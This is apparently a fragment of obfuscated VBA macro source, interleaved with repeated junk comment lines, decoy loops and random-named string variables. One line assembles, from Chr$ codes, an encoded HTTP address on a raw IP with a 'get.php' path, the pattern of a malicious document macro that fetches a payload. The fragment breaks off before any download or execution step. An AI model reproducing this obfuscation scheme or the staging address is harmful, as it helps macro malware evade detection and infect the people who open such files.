- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ujPPZKNf = RTrim(KnRyxuFT)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim AfsqhWZR As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim eNALqIYP, BNQtRSrQ, MaXjBJnS As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- eNALqIYP = GIYbonflbkpgerg("2020202020202020202020494648414351202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- BNQtRSrQ = LTrim(eNALqIYP)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- MaXjBJnS = RTrim(BNQtRSrQ)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- AfsqhWZR = 6
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While AfsqhWZR < 75
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim CasGflPo, ZXMpnDZa, iKARDolL As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- CasGflPo = GIYbonflbkpgerg("202020202020202020202059554B44445A202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZXMpnDZa = LTrim(CasGflPo)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- iKARDolL = RTrim(ZXMpnDZa)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: AfsqhWZR = AfsqhWZR + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim pvhPVhEC, SORRUSdk, abPiDvvN As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- pvhPVhEC = GIYbonflbkpgerg("20202020202020202020205A5453465651202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SORRUSdk = LTrim(pvhPVhEC)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- abPiDvvN = RTrim(SORRUSdk)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim JCAESdGx, HUthPgmX, zDJldevy As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- JCAESdGx = GIYbonflbkpgerg("20202020202020202020204D505A565549202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- HUthPgmX = LTrim(JCAESdGx)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- zDJldevy = RTrim(HUthPgmX)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- yfVUGJK = GIYbonflbkpgerg(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(50) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(57) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(48) & Chr$(51) & Chr$(56) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(55) & Chr$(48))
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim OxBfkhBI, WZQjMreL, uIclwKyr As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim FOkSzTPv As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim psbZtOWf, tdOFbDlg, adLNMKHh As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- psbZtOWf = GIYbonflbkpgerg("2020202020202020202020514D474C4D51202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- tdOFbDlg = LTrim(psbZtOWf)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- adLNMKHh = RTrim(tdOFbDlg)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- FOkSzTPv = 8
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While FOkSzTPv < 19
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim iKVAPnhP, aiGdAURf, YrxUFewy As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- iKVAPnhP = GIYbonflbkpgerg("20202020202020202020204C5347464642202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- aiGdAURf = LTrim(iKVAPnhP)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- YrxUFewy = RTrim(aiGdAURf)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: FOkSzTPv = FOkSzTPv + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim NpqduCGh, fNjHsIaV, ZHwlkldY As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- NpqduCGh = GIYbonflbkpgerg("20202020202020202020204846544D444F202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- fNjHsIaV = LTrim(NpqduCGh)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZHwlkldY = RTrim(fNjHsIaV)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim drnMlqrT, vpdCMVuH, cMHOKNDg As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- drnMlqrT = GIYbonflbkpgerg("2020202020202020202020544441594355202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- vpdCMVuH = LTrim(drnMlqrT)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- cMHOKNDg = RTrim(vpdCMVuH)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- OxBfkhBI = GIYbonflbkpgerg("2020202020202020202020484346484350202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim jwzMHIbd As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim SZrAqRaW, IEgFRIvX, ERvNBDXC As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SZrAqRaW = GIYbonflbkpgerg("20202020202020202020204E5A524C434F202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- IEgFRIvX = LTrim(SZrAqRaW)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ERvNBDXC = RTrim(IEgFRIvX)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- jwzMHIbd = 4
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While jwzMHIbd < 95
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim XHDAuZDo, AQwXlCTN, lzsUqrMR As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- XHDAuZDo = GIYbonflbkpgerg("202020202020202020202044535046424E202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- AQwXlCTN = LTrim(XHDAuZDo)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- lzsUqrMR = RTrim(AQwXlCTN)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: jwzMHIbd = jwzMHIbd + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim grJySNnB, JgyNwcpl, ytsEnowa As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- grJySNnB = GIYbonflbkpgerg("20202020202020202020204350584A4550202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- JgyNwcpl = LTrim(grJySNnB)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ytsEnowa = RTrim(JgyNwcpl)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim zLayCasS, gNDobGhC, nybsaEli As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- zLayCasS = GIYbonflbkpgerg("2020202020202020202020424946534445202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- gNDobGhC = LTrim(zLayCasS)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- nybsaEli = RTrim(gNDobGhC)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- WZQjMreL = LTrim(OxBfkhBI)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim UZcdNlxy As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim raOovDeI, SYQtgyeV, UUWjOpnB As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- raOovDeI = GIYbonflbkpgerg("20202020202020202020205A524741474D202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- SYQtgyeV = LTrim(raOovDeI)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- UUWjOpnB = RTrim(SYQtgyeV)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- UZcdNlxy = 7
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Do While UZcdNlxy < 88
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim TfwzUhea, qoexMQMK, GtQJuySP As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- TfwzUhea = GIYbonflbkpgerg("202020202020202020202052434141534C202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- qoexMQMK = LTrim(TfwzUhea)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- GtQJuySP = RTrim(qoexMQMK)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- DoEvents: UZcdNlxy = UZcdNlxy + 1
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim IdGqzFYX, CeWFibKR, bgpIJCnV As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- IdGqzFYX = GIYbonflbkpgerg("202020202020202020202055474D4C5152202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- CeWFibKR = LTrim(IdGqzFYX)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- bgpIJCnV = RTrim(CeWFibKR)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim PvziNLdP, CRFqZYhW, oPnfrmly As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- PvziNLdP = GIYbonflbkpgerg("202020202020202020202043494D57454A202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- CRFqZYhW = LTrim(PvziNLdP)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- oPnfrmly = RTrim(CRFqZYhW)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- uIclwKyr = RTrim(WZQjMreL)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim mVtSlQiG As Integer
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim ZFAVOLBY, vFQprCxU, lGWwvzMI As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- ZFAVOLBY = GIYbonflbkpgerg("2020202020202020202020574948524F48202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- vFQprCxU = LTrim(ZFAVOLBY)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- lGWwvzMI = RTrim(vFQprCxU)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- mVtSlQiG = 5
